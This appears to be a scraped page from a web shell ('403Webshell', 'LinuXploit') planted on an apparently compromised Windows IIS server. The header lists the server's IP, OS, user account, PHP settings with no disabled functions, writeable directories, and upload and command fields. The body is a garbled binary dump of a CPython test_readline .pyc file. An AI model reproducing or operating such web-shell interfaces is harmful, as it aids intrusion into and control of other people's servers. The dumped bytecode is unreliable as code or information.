403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/test/__pycache__/test_readline.cpython-315.opt-2.pyc
R
>lqj%Ec���]PHs]PHs]PHs]PHs]PHs]PHs]PHs]QHGs]QH$G
s
]QH,GsG
s
Gs]QH<Gs]QHDGs]QHLGs\
Q2s\\Q2%cQ	\O.7sL\O2Q
6HsQs\O6\\Q2Q
2QQ\O822sQQ\O82s\Q6Xc\O@2P!P!)�)�verbose)�
import_module)�unlink�temp_dir�TESTFN)�run_pty)�assert_python_ok)�requires_working_threading�readline�_READLINE_LIBRARY_VERSIONzEditLine wrapper�editlinec�N�[%c�[[Q2%c;[Q[OQ
02[Q[O
Q
02[[Q2%c[Q[O802[Q[02P!P!)�_READLINE_VERSIONzreadline version: z#xzreadline runtime version: rzreadline library version: zuse libedit emulation? )r�hasattrr
�printr�_READLINE_RUNTIME_VERSIONr�is_editline���'C:\Python315\\Lib\test\test_readline.py�setUpModulers����w��8�0�1�1��&�x�'A�'A�"�&E�F�G��.�x�/Q�/Q�RT�.U�V�W��8�8�9�9��.�x�/Q�/Q�.T�U�V�
�'��}�5�6�r�
clear_historyzXThe history update test cannot be run because the clear_history method is not available.c�t`�\sQs]'snQs\O\\Q2Q2Q2s	Qs
QsQsUs
P!)�TestHistoryManipulationc��[O2[OQ2[OQ2UO[O	]2P2UO[O	]2Q2UO[O	]2Q2[O]Q2UO[O	]2P2UO[O	]2Q2UO[O	]2Q2UO[O
2]2[O]2UO[O	]2P2UO[O	]2Q2UO[O
2]2P!)�
first line�second linez
replaced line)r
r�add_history�assertEqual�get_history_item�replace_history_item�get_current_history_length�remove_history_item��selfs&r�testHistoryUpdates�*TestHistoryManipulation.testHistoryUpdates1sR����� ����\�*����]�+�����2�2�1�5�t�<�����2�2�1�5�|�D�����2�2�1�5�}�E��%�%�a��9�����2�2�1�5�t�<�����2�2�1�5��G�����2�2�1�5�}�E�����<�<�>��B��$�$�Q�'�����2�2�1�5�t�<�����2�2�1�5�}�E�����<�<�>��Br�append_history_filezappend_history not availablec�j�[OP
Q5oUO2UOoUO	[
U2[O2[OQ2[OQ2[OU2[O2UO[O2]2[OU2UO[O2]2UO[O]2Q2UO[O]2Q2[O]U2[O2[OU2UO[O2]2UO[O]2Q2UO[O]2Q2UO[O]2Q2[O
U2[O]U2[O
U2[OU2UO#[$29^tt^2[OQU2PPP2UO#[$29^tt^2[OQU2PPP2P![ cK�h9h)%fhK_9h)%fhP!9h)F)�deleterri���i�)�tempfile�NamedTemporaryFile�close�name�
addCleanuprr
rr�write_history_filerr!�read_history_filerr'�os�FileNotFoundError�assertRaises�
ValueError)r$�hfile�	hfilenames&  r�test_write_read_append�.TestHistoryManipulation.test_write_read_appendHsA���+�+�5�9��
���
��J�J�	�����	�*�	��� ����\�*����]�+��#�#�I�.���� �����<�<�>��B��"�"�9�-�����<�<�>��B�����2�2�1�5�|�D�����2�2�1�5�}�E�	�$�$�Q�	�2���� ��"�"�9�-�����<�<�>��B�����2�2�1�5�|�D�����2�2�1�5�}�E�����2�2�1�5�}�E�	�	�	�)��	!��(�(��I�6�
�I�I�i� �	�#�#�I�.��
�
�z�
*�
*��(�(��i�8�+��
�
�z�
*�
*��(�(��i�@�+�
*��!!�	��	��+�
*��+�
*�
*�s<�K=� L�L!�=	L�L�
L�L	�L	�!L2	�*L2	c���[O2[OQ2[OQ2[O
]Q2[O[2UO[O[2[O2[O[2[%c[OQ2UO[O]2Q2UO[O]2Q2P![c-oSO	Q[S2*2Po=CK4Po=hh9h)u	entrée 1� Locale cannot encode test data: u	entrée 2u
entrée 22�dummy)r
rr�UnicodeEncodeError�skipTest�formatr r/rr.r1�remover0rrr)r$�errs& r�test_nonascii_history�-TestHistoryManipulation.test_nonascii_history~s������ �	L�� � ��-�	���[�)��%�%�a��6��#�#�F�+�����	�	�6�*���� ��"�"�6�*��;�
� � ��)�����2�2�1�5�{�C�����2�2�1�5�|�D��"�	L��M�M�<�v�c�{�J�K�K��	L�s�D.�.	E%�8E%�9!E � E%c��[O2oUO[OU2[O	2[OQ2[OQ2[OQ2[O]2UO
[O2]2[O[2UO[O[2[O	2UO
[O2]2UO
[O2]2[O[2UO
[O]2Q2UO
[O]2Q2UO
[O]2P2UO[O2Q2P!)rr�
third line)��)r
�get_history_lengthr.�set_history_lengthrrrr/rr1r?r!r0r�assertIn�r$�previous_lengths& r�test_write_read_limited_history�7TestHistoryManipulation.test_write_read_limited_history�sW��"�5�5�7������3�3�_�E���� ����\�*����]�+����\�*��#�#�A�&�����4�4�6��:��#�#�F�+�����	�	�6�*���� �����<�<�>��B�����4�4�6��:��"�"�6�*�����2�2�1�5�}�E�����2�2�1�5�|�D�����2�2�1�5�t�<�	
�
�
�h�9�9�;�V�Drr)�__name__�
__module__�__qualname__�__firstlineno__r%�unittest�
skipUnlessrr
r7rArL�__static_attributes__�__classdictcell__��
__classdict__s@rrr'sL����C�.�����+@�A�7�9�2A�9�2A�hE�&E�Errc�`�\sQs]�sn\O
\OQ69%c\%(Q2Q2s	Qs
QsQsQs
QsQ	s\O
\OQ
6Q2\O
\Q2Q
22s\2Q2sQs\O(\\Q2Q2Q2sQsUsP!)�TestReadlineiz%not supported in this library versionc�N�[QQQQ5vqoUOUQ2P!)z-czimport readlinezxterm-256color)�TERMr)rr)r$�rc�stdout�stderrs&   r�	test_init�TestReadline.test_init�s,��.�d�4E�3C�E���F������%rc�H�UO[OQ2P!)r
)r
r)rIr
�backendr#s&r�test_backend�TestReadline.test_backend�s���
�
�h�&�&�(@�Arzvimport readline
readline.set_auto_history({})
input()
print("History length:", readline.get_current_history_length())
c�t�[UOOP	22oUOQU2P!)TsHistory length: 1�r�auto_history_scriptr>rI�r$�outputs& r�test_auto_history_enabled�&TestReadline.test_auto_history_enabled�s.����1�1�8�8��>�?��	
�
�
�*�F�3rc�t�[UOOP
22oUOQU2P!)FsHistory length: 0rfrhs& r�test_auto_history_disabled�'TestReadline.test_auto_history_disabled�s.����1�1�8�8��?�@��	
�
�
�*�F�3rc�r�[OQ2o[UQQ5oUOQU2P!)a�
            import readline
            def complete(text, state):
                if state == 0 and text == "$":
                    return "$complete"
                return None
            if readline.backend == "editline":
                readline.parse_and_bind(r'bind "\t" rl_complete')
            else:
                readline.parse_and_bind(r'"\t": complete')
            readline.set_completer_delims(" \t\n")
            readline.set_completer(complete)
            print(input())
        s$	
��inputs	$complete��textwrap�dedentrrI�r$�scriptris&  r�test_set_complete_delims�%TestReadline.test_set_complete_delims�s1�����
"�

����x�0���
�
�l�F�+rc�B�[O[OP2oUQ7cUOQU802[O
O%cR[O2o[OU2OoUQ6wcUOQU802[OQ2QoQoUQ[Q	2**
oUQ
*
oUQ*
oUQ*
o[!VE2oUO#Q
U2UO#QU2[O$Q6Xf
[&%fUO#QU2[&%f;[)[Q2%c%UO#QU2UO#QU2QoUO#QU*Q*U2UO#QU*U2P![c-oSOQ[S2*2Po=CKOPo=hh9h)Nzthe LC_CTYPE locale is zutf-8zthe LC_CTYPE encoding is uëïr:aimport readline

is_editline = readline.backend == "editline"
inserted = "[\xEFnserted]"
macro = "|t\xEB[after]"
set_pre_input_hook = getattr(readline, "set_pre_input_hook", None)
if is_editline or not set_pre_input_hook:
    # The insert_line() call via pre_input_hook() does nothing with Editline,
    # so include the extra text that would have been inserted here
    macro = inserted + macro

if is_editline:
    readline.parse_and_bind(r'bind ^B ed-prev-char')
    readline.parse_and_bind(r'bind "\t" rl_complete')
    readline.parse_and_bind(r'bind -s ^A "{}"'.format(macro))
else:
    readline.parse_and_bind(r'Control-b: backward-char')
    readline.parse_and_bind(r'"\t": complete')
    readline.parse_and_bind(r'set disable-completion off')
    readline.parse_and_bind(r'set show-all-if-ambiguous off')
    readline.parse_and_bind(r'set show-all-if-unmodified off')
    readline.parse_and_bind(r'Control-a: "{}"'.format(macro))

def pre_input_hook():
    readline.insert_text(inserted)
    readline.redisplay()
if set_pre_input_hook:
    set_pre_input_hook(pre_input_hook)

def completer(text, state):
    if text == "t\xEB":
        if state == 0:
            print("text", ascii(text))
            print("line", ascii(readline.get_line_buffer()))
            print("indexes", readline.get_begidx(), readline.get_endidx())
            return "t\xEBnt"
        if state == 1:
            return "t\xEBxt"
    if text == "t\xEBx" and state == 0:
        return "t\xEBxt"
    return None
readline.set_completer(completer)

def display(substitution, matches, longest_match_length):
    print("substitution", ascii(substitution))
    print("matches", ascii(matches))
readline.set_completion_display_matches_hook(display)

print("result", ascii(input()))
print("history", ascii(readline.get_history_item(1)))
��z[after]s		sx	�
stext 't\xeb'
s#line '[\xefnserted]|t\xeb[after]'
�darwinsindexes 11 13
�set_pre_input_hookssubstitution 't\xeb'
s matches ['t\xebnt', 't\xebxt']
s'[\xefnserted]|t\xebxt[after]'sresult s
shistory )�C�POSIX)�locale�	setlocale�LC_CTYPEr=�sys�flags�	utf8_mode�getencoding�codecs�lookupr-r
rr<r>�lenrrI�platformrr)r$�loc�encodingr@rvrqri�expecteds&       r�
test_nonascii�TestReadline.test_nonascii�s������v����5���.� �
�M�M�3�C�7�;�<��9�9�����)�)�+�H��}�}�X�.�3�3�H��7�"��
�
� 9�(��F�G�	L�� � ��,�2��h��
��3�y�>�)�)��
����
����
������'���
�
�*�F�3��
�
�@�&�I��<�<�8�#�;�;��M�M�.��7��{�w�x�1E�F�F��M�M�6��?��M�M�A�6�J�5���
�
�j�8�+�g�5�v�>�	
�
�
�k�H�,�f�5��c"�	L��M�M�<�v�c�{�J�K�K��	L�s�5G'�'	H�1H�2!H�Hiz3this readline version does not support history-sizez-editline history size configuration is brokenc��]
o[29^tt^2o[OOUQ2o[	UQ29^tt^2oUOQU*2PPP2[OOUQ2o[	UQ29^tt^2oQOQ[
U]*222oUOU2PPP2Qo[[O2oV8Q$VXQ	$[UQ
UQ5[	UQ29^tt^2oUO2o	PPP2UO[W	2U2UOU	P*O2Q
2PPP2P!)%fhCK09h)%fhK�9h)%fhK�9h)%fhP!9h)�
�inputrc�wbsset history-size %d
�historyrc3�@�SF �DoQU*w�	J	P!3h)sitem %d
r)�.0�is& r�	<genexpr>�1TestReadline.test_history_size.<locals>.<genexpr>Xs��)@���)@�A�!-�q� 0� 0�)@�s�z�
import os
import readline

history_file = os.environ["HISTORY_FILE"]
readline.read_history_file(history_file)
input()
readline.write_history_file(history_file)
�INPUTRC�HISTORY_FILEslast input
)rq�env�rbs
last input)rr1�path�join�open�write�range�dict�environr�	readlinesrr��strip)
r$�history_size�test_dirr��f�history_file�datarvr��liness
&         r�test_history_size�TestReadline.test_history_sizeJsV��
��
�Z�Z�8��g�g�l�l�8�Y�7�G��g�t�$�$�����0�<�?�@�%��7�7�<�<��)�<�L��l�D�)�)�Q��x�x� B�).�|�a�/?�)@� B�B������
�	*��F��r�z�z�"�C�$�	�N�".����F�/�s�;��l�D�)�)�Q����
��*����S��Z��6����U�2�Y�_�_�.�
�>�?�Z�$�$�$��*�)��,*�)��9�Z�Z�sm�5G�F	�$<G� 9F	�A
G�&F2	�7A
G�F
�F
�	G�F/
�(F/
�*G�2G
�;G
�=G�G	�G	c�r�[OQ2o[UQQ5oUOQU2P!)a�
            import threading
            from test.support.threading_helper import join_thread

            def func():
                input()

            thread1 = threading.Thread(target=func)
            thread2 = threading.Thread(target=func)
            thread1.start()
            thread2.start()
            join_thread(thread1)
            join_thread(thread2)
            print("done")
        sinput1
input2
rpsdonerrrus&  r�test_gh123321_threadsafe�%TestReadline.test_gh123321_threadsafeqs4�����"�
�� ��':�;���
�
�g�v�&rc��[O2oUO[OU2[O	Q2[O	Q2[O	Q2[O]2UO[O2]2[O
[2UO[O[2[O[2P!)rrrD)r
rGr.rHrrr/rr1r?r0rJs& rrL�,TestReadline.test_write_read_limited_history�s���"�5�5�7������3�3�_�E����\�*����]�+����\�*��#�#�A�&�����4�4�6��:��#�#�F�+�����	�	�6�*��"�"�6�*r�get_pre_input_hookz get_pre_input_hook not availablec�X�[O2oUO[OU2[OP2UO	[O22Qo[OU2UO[O2U2P!)Nc��P!)Nrrrr�my_hook�5TestReadline.test_get_pre_input_hook.<locals>.my_hook�s��r)r
r�r.r~�assertIsNone�assertIs)r$�
original_hookr�s&  r�test_get_pre_input_hook�$TestReadline.test_get_pre_input_hook�sy��!�3�3�5�
�����3�3�]�C�	�#�#�D�)����(�5�5�7�8�	�	�#�#�G�,��
�
�h�1�1�3�W�=rr)rNrOrPrQrR�skipIfr
rrr_rcrgrjrmrwr�r�r	r�rLrSrr�rTrUrVs@rrYrY�s�����
�_�_�X�/�/�&�8�L�L��_�<�>�&�>�&�B���4�4�,�&b6�R�_�_�X�/�/�%�7�J�L�
�_�_�[�D�F�!?�F�L�!?�F �!�'�"�'�.
+�(�����+?�@�;�=�>�=�>rrY�__main__)!r�r�r1r�r*rsrR�test.supportr�test.support.import_helperr�test.support.os_helperrrr�test.support.pty_helperr�test.support.script_helperr�test.support.threading_helperr	r
rrrrbrrS�TestCaserrYrN�mainrrr�<module>r�s����
�	�
���� �4�;�;�+�7�D���$��
�8�0�1�1�%��)K�)K�K�K��"�"�j�0�K�	7�
���W�X��7�>�?�E�x�0�0�E�?�E�DA>�8�$�$�A>�H�z���M�M�O�r

Youez - 2016 - github.com/yon3zu
LinuXploit